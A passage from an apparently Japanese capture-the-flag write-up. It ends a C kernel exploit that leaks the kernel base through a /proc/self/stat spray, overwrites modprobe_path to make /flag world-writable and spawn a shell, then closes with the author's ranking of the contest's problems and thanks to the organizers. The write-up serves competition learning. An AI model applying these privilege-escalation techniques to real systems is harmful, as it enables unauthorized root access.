               MAP_SHARED, fd, 0);
  printf("%p, %02x\n", p, p[0]); // call map_pages

  /* Out of bounds */
  p = mremap(p, 0x1000, 0x2000, 0, NULL);
  hexdump(&p[0x1000], 0x20);

  /* Spray */
  int fds[100];
  for (int i = 0; i < 100; i++) {
    fds[i] = open("/proc/self/stat", O_RDONLY);
    if (fds[i] == -1) fatal("/proc/self/stat");
  }

  u8 buf[0x10];

  /* Leak seq_operations byte by byte from IV */
  u64 leak = 0;
  u8 a, b, c;

  *(u64*)&p[0x1008] = *(u64*)&p[0x1000] + 0x10;
  read(fd, buf, 0x10);
  a = buf[15];
  b = 0x41;

  for (int i = 0; i < 8; i++) {
    *(u64*)&p[0x1008] = *(u64*)&p[0x1000] + 0x11 + i;
    read(fd, buf, 0x10);
    printf("%02x ^ %02x ^ %02x\n", a, b, buf[15]);
    c = (a ^ b ^ buf[15]);
    leak |= ((u64)c) << (i * 8);
    printf("[+] leak = 0x%016lx\n", leak);

    a = buf[15];
    b = c;
  }

  kbase = leak - ofs_single_start;
  printf("[+] kbase = 0x%016lx\n", kbase);

  /* AAW to control */
  *(u64*)&p[0x1000] = addr_modprobe;
  strcpy(r.key, "/tmp/retsuko");
  ioctl(fd, UPDATE_KEY, &r);

  system("echo '#!/bin/sh\nchmod -R 777 /flag' > /tmp/retsuko");
  system("chmod +x /tmp/retsuko");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/tsunoda");
  system("chmod +x /tmp/tsunoda");

  puts("win");
  system("/tmp/tsunoda");
  system("/bin/sh");

  return 0;
}

綺麗な問題設定で一番面白かったです。ソースコードが付いていたら最高だったよ。

おわりに

新規性をボール状に固めて豪速球で投げたみたいな問題セットで楽しかったです。 個人的にはecrypt > mail > simbox > trust code > call of fake > ipc handlerの順で面白かったです。 最後にIPC Handlerを解いたときに6時過ぎとかだったので、残りの2問は見てません!

運営おつかれさまでした〜

god shpik, god zzoru

*1:実は9時に起きて誰もやってなさそうだったので二度寝して出遅れたのは内緒

*2:世の中には私が本気で強いと思うpwnerが数人いて、そのうちの一人がXionさんです。

*3:今物理的に隔離されてるので、力が封印されているらしいです。

*4:空前のおにぎりブームが来ています。入れるとおいしい具材募集中。